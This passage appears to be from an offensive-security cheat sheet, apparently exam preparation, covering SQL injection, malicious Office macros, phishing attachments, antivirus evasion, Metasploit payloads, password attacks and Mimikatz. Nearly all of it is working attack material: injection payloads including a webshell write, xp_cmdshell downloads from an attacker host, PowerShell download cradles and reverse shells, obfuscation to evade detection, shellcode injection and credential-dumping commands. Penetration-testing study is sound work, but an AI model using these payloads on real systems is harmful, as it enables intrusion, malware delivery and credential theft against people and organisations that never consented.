<input>' UNION SELECT NULL, <column_1>, <column_2>, <column_3> FROM information_schema.columns WHERE table_schema=DATABASE() -- //
3.5.5 Blind SQL Injection
- Check if the application is vulnerable:
http://<host>/vulnerable-page?param=<input>' OR '1'='1
- Check if the input is being reflected in the output:
# If the first URL returns the expected result and the second does not, the parameter is likely vulnerable.
http://<host>/vulnerable-page?param=<input>' AND '1'='1
http://<host>/vulnerable-page?param=<input>' AND '1'='2
- Extract database version:
# Adjust the SUBSTRING parameters to extract and test different characters.
http://<host>/vulnerable-page?param=<input>' AND (SELECT SUBSTRING(@@version,1,1)='5')
- Find table names:
http://<host>/vulnerable-page?param=<input>' AND (SELECT COUNT(*) FROM information_schema.tables) > 5
- Find column names in a table:
http://<host>/vulnerable-page?param=<input>' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users') > 5
- Retrieve specific data:
http://<host>/vulnerable-page?param=<input>' AND (SELECT CASE WHEN (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' THEN 1 ELSE 0 END)=1
- Determine if the application is vulnerable:
# The first URL should cause a delay, indicating a vulnerability.
http://<host>/vulnerable-page?param=<input>' OR IF(1=1, SLEEP(5), 0)
http://<host>/vulnerable-page?param=<input>' OR IF(1=2, SLEEP(5), 0)
- Extract database version:
# Adjust the SUBSTRING parameters to extract and test different characters.
http://<host>/vulnerable-page?param=<input>' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)
- Determine if a condition is true:
http://<host>/vulnerable-page?param=<input>' OR IF(EXISTS(SELECT * FROM users WHERE username='admin'), SLEEP(5), 0)
- Find the length of data:
http://<host>/vulnerable-page?param=<input>' OR IF(LENGTH((SELECT password FROM users WHERE username='admin')) > 10, SLEEP(5), 0)
- Extract specific character of data:
http://<host>/vulnerable-page?param=<input>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(5), 0)
3.5.6 Manual Code Execution (Reverse Shell)
- Save a webshell to server
<input>' UNION SELECT "<?php system($_GET['cmd']);?>", NULL, NULL, NULL, NULL INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
3.5.7 Specific Databases
3.5.7.1 MSSQL
Login Page Injection:
- From MSSQL Injection to RCE
- PayloadsAllTheThings MSSQL Injection
- MSSQL Practical Injection Cheat Sheet
Examples:
-- Visualize SQL statement and adjust payload
INSERT INTO dbo.tablename ('<user_input>', '<user_input>');
-- Adjust initial payloads
INSERT INTO dbo.tablename ('1 AND 1=CONVERT(INT,@@version))-- ', '<user_input>');
INSERT INTO dbo.tablename('', CONVERT(INT, db_name(<number>)))--
-- Enumerate column names
', CONVERT(INT, (CHAR(58)+(SELECT DISTINCT TOP 1 column_name FROM information_schema.COLUMNS WHERE TABLE_NAME='<table_name>' ORDER BY column_name ASC)+CHAR(58))))--
-- Enumerate data in columns
', CONVERT(INT, (CHAR(58)+CHAR(58)+(SELECT TOP 1 <column> FROM <table_name> ORDER BY <column> ASC)+CHAR(58)+CHAR(58))))--
Exploitation Example:
-- Enable advanced options
<username>'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; --
-- Enable command shell
<username>'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
-- Execute commands
<username>'; EXEC master.dbo.xp_cmdshell 'ping <attacker_ip>'; --
<username>'; EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://<attacker_ip>:<port>/shell.exe C:\\Windows\\temp\\shell.exe'; --
<username>'; EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\shell.exe'; --
3.5.7.2 Vulnerable Code Example
PHP Login Page Example with Vulnerable Code:
<?php
include 'database_connection.php';
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$execution = mysqli_query($connection, $query) or die(mysqli_error($connection));
$row = mysqli_fetch_array($execution);
if($row) {
echo "Login Successful";
} else {
echo "Invalid username or password";
}
?>
3.5.7.3 MariaDB
Research Repository:
Examples:
-- Basic SQL Injection
admin ' OR 1=1 --
-- Alternative syntax
1' OR 1 = 1#
3.5.7.4 Oracle
DB Login Bypass:
admin ' OR 1=1 --
UNION DB Dumping Credentials:
Examples:
-- Check for SQL syntax errors and adjust columns
' UNION SELECT 1,2,3,4,5,6 FROM dual--
-- Adjust for correct number of columns
' UNION SELECT 1,2,3 FROM dual--
-- Retrieve data
' UNION SELECT user, NULL, NULL FROM all_users--
' UNION SELECT table_name, NULL, NULL FROM all_tables--
' UNION SELECT column_name, NULL, NULL FROM all_tab_columns WHERE table_name='<table_name>'--
' UNION SELECT <column_names> FROM <table_name>--
4. Client-Side Attacks
4.1 MACROS
Auto-Executing PowerShell on Document Open
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
CreateObject("Wscript.Shell").Run "powershell"
End Sub
Passing Command as a String Variable
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim cmdStr As String
cmdStr = "[Your PowerShell Command]"
CreateObject("Wscript.Shell").Run cmdStr
End Sub
PowerShell Download Cradle with PowerCat Reverse Shell
IEX(New-Object System.Net.WebClient).DownloadString('[http://your-server/powercat.ps1]');powercat -c [attacker-ip] -p [port] -e powershell
Base64 Payload Encoding
$text = "IEX(New-Object System.Net.WebClient).DownloadString('[http://your-server/payload.ps1]');powercat -c [attacker-ip] -p [port] -e powershell"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($text))
Write-Output $encoded
Python Script to Split Base64 PowerShell Command
cmd_str = "[Your Base64 Encoded PowerShell Command]"
chunk_size = 50
for i in range(0, len(cmd_str), chunk_size):
print(f'Str = Str + "{cmd_str[i:i+chunk_size]}"')
Macro for PowerShell Reverse Shell using Encoded Command
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim encodedCmd As String
encodedCmd = encodedCmd + "[Base64 Chunk 1]"
encodedCmd = encodedCmd + "[Base64 Chunk 2]"
encodedCmd = encodedCmd + "..."
encodedCmd = encodedCmd + "[Base64 Chunk N]"
CreateObject("Wscript.Shell").Run "powershell.exe -nop -w hidden -enc " & encodedCmd
End Sub
4.2 Windows Library Files
Running the WebDav Server in Kali
wsgidav --host=0.0.0.0 --port=[port] --auth=anonymous --root /path/to/webdav/
Cradle Download and Execute Script via LNK File
# Create the file as a shortcut in the Windows system to prepare the attack
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('[http://your-server/payload.ps1]');powercat -c [attacker-ip] -p [port] -e powershell"
Example .Library-ms
File Configuration
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>[http://your-server]</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
Send Malicious File via Email
# Normal Email
sudo swaks -t [target-email] --from [your-email] --attach [file-to-attach] --server [smtp-server-ip] --body [email-body.txt] --header "Subject: [email-subject]" --suppress-data
# -ap: --auth-passwd
sudo swaks -t <recipient@example.com> --from <sender@example.com> --attach config.Library-ms --server <SMTP_SERVER> --body body.txt --header "Subject: Problems" --suppress-data --auth LOGIN --auth-user <username> --auth-password <password>
# Custom Header for Social Engineering
sudo swaks -t [target-email] --from [your-email] --attach [file-to-attach] --server [smtp-server-ip] --body [email-body.txt] --header "X-Priority: 1 (Highest)" --header "Importance: High" --suppress-data
4.3 Advanced Exploitation
String Concatenation to Bypass Signature Detection
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim cmdStr As String
cmdStr = "powe" & "rshe" & "ll.exe"
cmdStr = cmdStr & " -nop -w hidden -enc " & "[Base64 Encoded Command]"
CreateObject("Wscript.Shell").Run cmdStr
End Sub
Executing Encoded Commands Without Direct PowerShell Reference
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim cmdStr As String
cmdStr = "cmd.exe /c ""powershell.exe -nop -w hidden -enc " & "[Base64 Encoded Command]" & """"
CreateObject("Wscript.Shell").Run cmdStr
End Sub
Evading Antivirus Detection
# Using Encodings
$text = "[Your PowerShell Command]"
$encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($text))
Write-Output $encoded
# Altering PowerShell Execution Policies
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -EncodedCommand [Your Base64 Encoded Command]
Embedding JavaScript Payloads in HTML Documents
<script>
var cmd = "[Your JavaScript Command]";
eval(cmd);
</script>
Using Obfuscated JavaScript
var cmd = "";
cmd += "var shell = new ActiveXObject('WScript.Shell');";
cmd += "shell.Run('cmd.exe /c powershell.exe -nop -w hidden -enc [Base64 Encoded Command]');";
eval(cmd);
Mounting WebDav Share as Network Drive (Windows)
net use Z: \\[webdav-server-ip]\DavWWWRoot /user:[username] [password]
5. Antivirus Evasion & Metasploit
5.1 In-Memory Injection with PowerShell Script
5.1.1 Payload
msfvenom -p windows/shell_reverse_tcp LHOST=[IP] LPORT=[PORT] -f powershell -v sc
5.1.2 Script
# Import necessary functions from kernel32.dll and msvcrt.dll
$importCode = '
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, IntPtr lpThreadId);
[DllImport("msvcrt.dll", SetLastError=false)]
public static extern IntPtr memset(IntPtr dest, int c, UInt32 count);
';
# Add the imported functions to the PowerShell session
$win32Functions = Add-Type -MemberDefinition $importCode -Name "Win32API" -Namespace "Win32" -PassThru;
# Define the shellcode (replace with actual shellcode)
[Byte[]] $shellcode = [PLACE YOUR SHELLCODE HERE];
# Allocate memory for the shellcode
$memSize = 0x1000;
if ($shellcode.Length -gt $memSize) { $memSize = $shellcode.Length };
$allocatedMemory = $win32Functions::VirtualAlloc([IntPtr]::Zero, $memSize, 0x3000, 0x40);
# Copy the shellcode into the allocated memory
for ($i = 0; $i -lt $shellcode.Length; $i++) {
$win32Functions::memset($allocatedMemory + $i, $shellcode[$i], 1);
}
# Execute the shellcode in a new thread
$win32Functions::CreateThread([IntPtr]::Zero, 0, $allocatedMemory, [IntPtr]::Zero, 0, [IntPtr]::Zero);
# Keep the script running
# This part of the script ensures that the PowerShell process doesn't terminate immediately after the shellcode is executed.
# If the script exits too soon, the thread created to execute the shellcode might be terminated, stopping the shellcode.
# By keeping the script alive with an infinite loop and a sleep command, the shellcode has sufficient time to run.
while ($true) {
Start-Sleep 60;
}
Alternative script from this GitHub, in case we want to use something different.
#!/usr/bin/env python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__version__ = '0.1'
__author__ = 'Carlos Perez, Carlos_Perez@darkoperator.com'
__doc__ = """
PSEncoder http://www.darkoperator.com by Carlos Perez, Darkoperator
Encodes a given Windows PowerShell script in to a Base64 String that can be
passed to the powershell.exe program as an option.
"""
import base64
import sys
import re
import os
import getopt
def powershell_encode(data):
# blank command will store our fixed unicode variable
blank_command = ""
powershell_command = ""
# Remove weird chars that could have been added by ISE
n = re.compile(u'(\xef|\xbb|\xbf)')
# loop through each character and insert null byte
for char in (n.sub("", data)):
# insert the nullbyte
blank_command += char + "\x00"
# assign powershell command as the new one
powershell_command = blank_command
# base64 encode the powershell command
powershell_command = base64.b64encode(powershell_command.encode())
return powershell_command.decode("utf-8")
def usage():
print("Version: {0}".format(__version__))
print("Usage: {0} <options>\n".format(sys.argv[0]))
print("Options:")
print(" -h, --help Show this help message and exit")
print(" -s, --script <script> PowerShell Script.")
sys.exit(0)
def main():
try:
options, args = getopt.getopt(sys.argv[1:], 'hs:', ['help', 'script='])
except getopt.GetoptError:
print("Wrong Option Provided!")
usage()
if len(sys.argv) == 1:
usage()
for opt, arg in options:
if opt in ('-h', '--help'):
usage()
elif opt in ('-s', '--script'):
script_file = arg
if not os.path.isfile(script_file):
print("The specified powershell script does not exists")
sys.exit(1)
else:
ps_script = open(script_file, 'r').read()
print(powershell_encode(ps_script))
if __name__ == "__main__":
main()
5.2 Shellter (Automatic Tool)
- Installation:
apt-cache search shellter && sudo apt install shellter
- Installation of wine (required to run shellter):
sudo apt install wine
and execute this one with sudo su:dpkg --add-architecture i386 && apt-get update && apt-get install wine32
- One-liner to set a Meterpreter listener:
msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST [IP];set LPORT [PORT];run;"
- Help for troubleshooting: https://forum.manjaro.org/t/wine-could-not-load-kernel32-dll-status-c0000135/69811
- Another similar tools are Veil and Guide.
5.3 Metasploit
Metasploit Usage
- Starting the Metasploit database
sudo msfdb init
sudo systemctl enable postgresql
sudo msfconsole
- Create workspaces:
workspace -a [nameToGive]
- Search for a specific type of module:
search type:auxiliary smb
- Set payload information using the database, in this case the hosts:
services -p 445 --rhosts
- Set a listener
Msfvenom Usage
# Show available payloads
msfvenom -l payloads
# List payload options
msfvenom -p [PAYLOAD] --list-options
# Payload encoding
msfvenom -p [PAYLOAD] -e [ENCODER] -f [FORMAT] -i [ENCODE] [COUNT_OF_ENCODING] LHOST=[IP] LPORT=[PORT]
5.4 Msfvenom
5.4.1 Listeners
# Using Netcat, for NON-Stage payloads ONLY.
nc -nvlp <LISTENING_PORT>
# Using Metasploit (usage forbidden in the exam)
msf>use exploit/multi/handler
msf>set payload windows/meterpreter/reverse_tcp
msf>set lhost <IP>
msf>set lport <PORT>
msf> set ExitOnSession false
msf>exploit -j
# To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit; the -j option is to keep all the connected session in the background.
5.4.2 Main Payloads
# Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf
# Windows
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe
# Apache Tomcat (JSP)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
# Apache Tomcat (WAR)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
# ASP
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
# ASPX
msfvenom -f aspx -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<443> -o shell64.aspx
# Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh
# JavaScript Shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f js_le -o shellcode
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
# Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl
# PHP: we need to add the <?php at the first line of the file so that it will execute as a PHP webpage
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
# Python
msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py
# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
5.4.3 Additional Payloads
MSFVenom Payload Generation One-Liner | Description |
---|---|
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
Linux Meterpreter reverse shell x86 multi stage |
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
|
Linux Meterpreter bind shell x86 multi stage |
msfvenom -p linux/x64/shell_bind_tcp RHOST=IP LPORT=PORT -f elf > shell.elf |
Linux bind shell x64 single stage |
msfvenom -p linux/x64/shell_reverse_tcp RHOST=IP LPORT=PORT -f elf > shell.elf
|
Linux reverse shell x64 single stage |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
|
Windows Meterpreter reverse shell |
msfvenom -p windows/meterpreter_reverse_http LHOST=IP LPORT=PORT HttpUserAgent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" -f exe > shell.exe
|
Windows Meterpreter http reverse shell |
msfvenom -p windows/meterpreter/bind_tcp RHOST=IP LPORT=PORT -f exe > shell.exe
|
Windows Meterpreter bind shell |
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
|
Windows CMD Multi Stage |
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe > shell.exe
|
Windows CMD Single Stage |
msfvenom -p windows/adduser USER=hacker PASS=password -f exe > useradd.exe |
Windows add user |
msfvenom -p osx/x86/shell_reverse_tcp LHOST=IP LPORT=PORT -f macho > shell.macho
|
Mac Reverse Shell |
msfvenom -p osx/x86/shell_bind_tcp RHOST=IP LPORT=PORT -f macho > shell.macho
|
Mac Bind shell |
msfvenom -p cmd/unix/reverse_python LHOST=IP LPORT=PORT -f raw > shell.py |
Python Shell |
msfvenom -p cmd/unix/reverse_bash LHOST=IP LPORT=PORT -f raw > shell.sh |
BASH Shell |
msfvenom -p cmd/unix/reverse_perl LHOST=IP LPORT=PORT -f raw > shell.pl |
PERL Shell |
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp
|
ASP Meterpreter shell |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.jsp
|
JSP Shell |
msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war > shell.war
|
WAR Shell |
msfvenom -p php/meterpreter_reverse_tcp LHOST=IP LPORT=PORT -f raw > shell.php cat shell.php
|
pbcopy && echo '?php ' |
msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw > phpreverseshell.php
|
Php Reverse Shell |
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('[http://IP/nishang.ps1')\](http://ip/nishang.ps1')%5C)"" -f python
|
Windows Exec Nishang Powershell in python |
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/shikata_ga_nai -b "\x04\xA0"
|
Bad characters shikata_ga_nai |
msfvenom -p windows/shell_reverse_tcp EXITFUNC=process LHOST=IP LPORT=PORT -f c -e x86/fnstenv_mov -b "\x04\xA0"
|
Bad characters fnstenv_mov |
6. Password Attacks
6.1 Brute-Force
# SSH Brute Force
hydra -l <username> -P <wordlist> -s <port> ssh://<target_ip>
# FTP Brute Force
hydra -l <username> -P <wordlist> ftp://<target_ip>
# SMB Brute Force
hydra -L <user_list> -P <password_list> smb://<target_ip>
# Telnet Brute Force
hydra -l <username> -P <wordlist> telnet://<target_ip>
# MySQL Brute Force
hydra -l <username> -P <wordlist> mysql://<target_ip>
# PostgreSQL Brute Force
hydra -l <username> -P <wordlist> postgres://<target_ip>
# VNC Brute Force
hydra -P <password_list> vnc://<target_ip>
# HTTP Basic Authentication Brute Force
hydra -l <username> -P <wordlist> <target_ip> http-get /
# SMTP Brute Force
hydra -l <username> -P <wordlist> smtp://<target_ip>
# SNMP Brute Force
hydra -P <wordlist> snmp://<target_ip>
# Redis Brute Force
hydra -P <password_list> redis://<target_ip>
6.2 Spraying Credentials
- Hydra
# Spraying passwords for RDP, one wordlist could be: /usr/share/wordlists/dirb/others/names.txt
hydra -L <user_list> -p "<password>" rdp://<target_ip>
- Crackmapexec
# WinRM password spraying
crackmapexec winrm <target_ip> -u <user_list> -H <hash_list>
# FTP password spraying
crackmapexec ftp <target_ip> -u <user_list> -p <password_list> -d <domain> --continue-on-success
# SMB password spraying
crackmapexec smb <target_ip> -u <user_list> -p <password_list> -d <domain> --continue-on-success
# RDP password spraying
crackmapexec rdp <target_ip> -u <user_list> -p "<password>" --continue-on-success
# SSH password spraying
crackmapexec ssh <target_ip> -u <user_list> -p <password_list> --d <domain> --continue-on-success
# Multiple targets with WinRM
crackmapexec winrm <target_ip_list> -u <user_list> -H <hash_list> -d <domain> --continue-on-success
# SMTP password spraying
crackmapexec smtp <target_ip> -u <user_list> -p <password_list> --continue-on-success
# POP3 password spraying
crackmapexec pop3 <target_ip> -u <user_list> -p <password_list> --continue-on-success
6.3 Crack Files
6.3.1 Office Files
# Extract hash from encrypted Office files
office2john <file> > office.hash
# Crack Office file password using John
john --wordlist=<wordlist> office.hash
6.3.2 PDF Files
- Extract Hashes from PDF Files
pdf2john <file.pdf> > pdf.txt
- Crack PDF Password Using John the Ripper
john --wordlist=<wordlist> pdf.txt
- Crack PDF Password Using pdfcrack (Alternative)
pdfcrack -f <file.pdf> -w <wordlist>
6.3.3 ZIP Files
- Extract Hashes from ZIP Files
zip2john <file.zip> > zip.hash
- Crack ZIP Password
# (Optional), if the zip has too many files, them extract one and crack just that one to speed things up. If given errors. delete the --format=zip.
john zip.hash --wordlist=<wordlist> --format=zip
or
hashcat -m 13600 zip.hash /path/to/wordlist.txt
- Brute-Force ZIP Password (Alternative)
# Perform a brute-force attack on a password-protected ZIP file
fcrackzip -u -D -p <wordlist> <file.zip>
6.4 HTTP POST Login Form
# HTTP POST brute-force using Hydra
hydra -l <username> -P <wordlist> <target_ip> http-post-form "/<login_uri>:<user_field>=<username>&<pass_field>=^PASS^:<failure_message>"
The three parameters for the http-post-form:
- Login page URI:
/<login_uri>
- POST request username and password:
<user_field>=<username>&<pass_field>=^PASS^
, for example:fm_usr=user&fm_pwd=^PASS^
- Login failed identifier:
<failure_message>
, for exampleLogin failed. Invalid
6.5 HTTP GET (Basic Authentication)
# HTTP GET brute-force attack using Hydra
hydra -l <username> -P <wordlist> <target_ip> http-get /
6.6 Calculate cracking time
- Calculating the keyspace for a password of length 5
# Calculate keyspace for a password length of <length>
echo -n "<characters>" | wc -c
python3 -c "print(<keyspace>**<length>)"
# Calculate cracking time based on benchmark results
python3 -c "print(<keyspace> / <hash_rate>)"
- Example
# Estimate cracking time for a 5-character alphanumeric password
characters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
echo -n $characters | wc -c # keyspace
python3 -c "print(62**5 / 1000000000)" # example for 1B hashes per second
6.7 Mutating wordlists
# Using Hashcat with rule-based attacks
hashcat -m <hash_type> <hash_file> <wordlist> -r <rule_file> --force
6.8 Hashcat Formats for Cracking
Hash Type | Hashcat Mode (-m ) |
Example Format |
---|---|---|
MD5 | 0 |
$1$salt$hash |
SHA-1 | 100 |
hash:salt |
NTLM | 1000 |
<NTLM_HASH> |
Net-NTLMv1 | 5500 |
username::domain:challenge:response |
Net-NTLMv2 | 5600 |
username::domain:challenge:response |
bcrypt | 3200 |
$2a$10$abcdefghijklmnopqrstuv |
Kerberos 5 TGS-REP etype 23 | 13100 |
$krb5tgs$23$*user$realm$service*hash |
Kerberos 5 AS-REP etype 23 | 18200 |
$krb5asrep$23$user@REALM:hash |
MS-Cache v1 | 1100 |
username:hash |
MS-Cache v2 | 2100 |
domain\username:hash:salt |
SHA-256 | 1400 |
<SHA256_HASH> |
SHA-512 | 1700 |
<SHA512_HASH> |
NTLMv1-ESS | 5500 |
username::domain:challenge:response |
MD5 Crypt | 500 |
$1$salt$hash |
LDAP MD5 | 25600 |
{MD5}hash |
Kerberos TGS-REP etype 23 | 13100 |
$krb5tgs$23$user$realm$service$hash |
Kerberos AS-REP etype 23 | 18200 |
$krb5asrep$23$user@realm:hash |
6.9 Password Managers
Finding KeePass Database
# Search for KeePass database (.kdbx) on Windows
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Cracking KeePass Database
# Convert KeePass database to John format
keepass2john <Database.kdbx> > keepass.hash
# Remember to delete the first "'word':" that says 'Database:'; it should look like this:
# $keepass$*2*60*0*d7bfhs83hFTG338717d27a7d4sucgd54fvfv486d2...... INSTEAD OF Database:$keepass$*2*60*0*d7bfhs83hFTG338717d27a7d4sucgd54fvfv486d2......
# Crack KeePass hash using Hashcat (the rule is optional)
hashcat -m 13400 keepass.hash <wordlist> -r <rule_file> --force
Opening KeePass Database (after cracking it)
# Open the tool
kpcli --kdb=Database.kdbx
# Navigate to the desired database and folder with cd [folder]
cd Database/
# Show contents of database
ls
# Show entries information
show [-f] [-a] <entry_id or entry_path>
# Show a specific field detail of an entry: (example) get 'BACKUP Machine SSH Key' Pass or get 0 Pass
get <entry_path or entry_id> <field_name>
6.10 SSH Passphrases
Converting and Cracking SSH Key Passphrase
# Set correct permissions for SSH private key
chmod 600 <id_rsa>
# Convert SSH key to John format
ssh3john <id_rsa> > ssh.hash
# Crack the SSH key passphrase
john --wordlist=<password_list> --rules=<rules_file> ssh.hash
6.11 Linux Users Hashes
Crack hashes from /etc/shadow
file
# 1. Identify the hash (can use hashes.com to do it), for example: root:$6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.:19453:0:99999:7::: is a SHA-512 because of the $6$ and uses the mode -m 1800.
# 2. Remote the unneeded part, we only need the ':[HASH]:', so in the example above we just need $6$AIWcIr8PEVxEWgv1$3mFpTQAc9Kzp4BGUQ2sPYYFE/dygqhDiv2Yw.XcU.Q8n1YO05.a/4.D/x4ojQAkPnv/v7Qrw7Ici7.hs0sZiC.
# 3. Crack the hash
hashcat -m 1800 [hash_file].txt [path_to_wordlist]
6.12 Mimikatz Commands
6.12.1 Do Not Require Credentials
Purpose | Command Example |
---|---|
Privilege Escalation to SYSTEM | privilege::debug token::elevate |
Dumping Password Hashes from SAM | lsadump::sam |
Dumping Credentials from LSA Secrets | lsadump::secrets |
Dumping Domain Cached Credentials (DCC) | lsadump::cache |
Dumping Kerberos Tickets | sekurlsa::tickets |
Dumping WDIGEST Credentials | sekurlsa::wdigest |
Dumping Clear-Text Credentials | sekurlsa::logonpasswords |
Dumping Cached Domain Credentials (DCC2) | lsadump::cache |
Dumping NTLM Hashes from LSASS Memory | sekurlsa::msv |
Dumping Kerberos Keys | sekurlsa::kerberos |
Dumping SSP Credentials | sekurlsa::ssp |
Dumping TSPKG Credentials | sekurlsa::tspkg |
Listing Available Privileges | privilege::list |
Dumping Security Account Manager (SAM) | lsadump::sam /system:<SYSTEM> /sam:<SAM> |
Dumping Hashes from Active Directory | lsadump::dcsync /domain:<DOMAIN> /user:<USERNAME> (requires replication
rights, not direct credentials) |
6.12.2 Require Credentials
Purpose | Command Example |
---|---|
Pass-the-Hash Attack (PTH) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:<COMMAND>
|
Pass-the-Ticket Attack (PTT) | kerberos::ptt <ticket.kirbi> |
Over-Pass-The-Hash / Pass-The-Key (Kerberos Ticket) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /aes128:<AES128_HASH> /aes256:<AES256_HASH> /run:<COMMAND>
|
Golden Ticket Creation |
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /id:<RID> /ticket:<OUTPUT_TICKET>
|
Silver Ticket Creation |
kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:<DOMAIN_SID> /target:<SERVICE/SERVER> /service:<SERVICE> /rc4:<NTLM_HASH> /id:<USER_RID> /ptt
|
Dump Kerberos Tickets for Specific User | sekurlsa::tickets /export |
Skeleton Key Injection | misc::skeleton (Injects a skeleton key, allowing login as any user using the
password mimikatz ) |
Kerberos Silver Ticket Creation (Advanced) |
kerberos::silver /user:<USERNAME> /domain:<DOMAIN> /target:<SERVER> /rc4:<NTLM_HASH> /service:<SERVICE> /sid:<DOMAIN_SID>
|
Over-Pass-the-Hash (with RC4) |
sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /rc4:<NTLM_HASH> /run:<COMMAND>
|
DPAPI Credential Decryption | dpapi::cred /in:<CREDENTIAL_FILE> |
Extracting TGT from LSASS Memory | kerberos::tgt |
6.13 NTLM
- Set SeDebugPrivilege access (needed to use Mimikatz):
PS C:\tools> .\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
- Elevate to SYSTEM user privileges and dump credentials
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
mimikatz # lsadump::sam
Domain : <DOMAIN>
SysKey : <SysKey>
Local SID : <Local SID>
RID : <RID>
User : <USERNAME>
Hash NTLM: <NTLM_HASH>
- Crack the NTLM hash
# Rule is optional
hashcat -m 1000 <NTLM_HASH> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
- If uncrackable, consider Pass-The-Hash
# Pass-the-Hash using SMBClient
impacket-smbclient -hashes <LM_HASH>:<NTLM_HASH> <USERNAME>@<TARGET_IP>
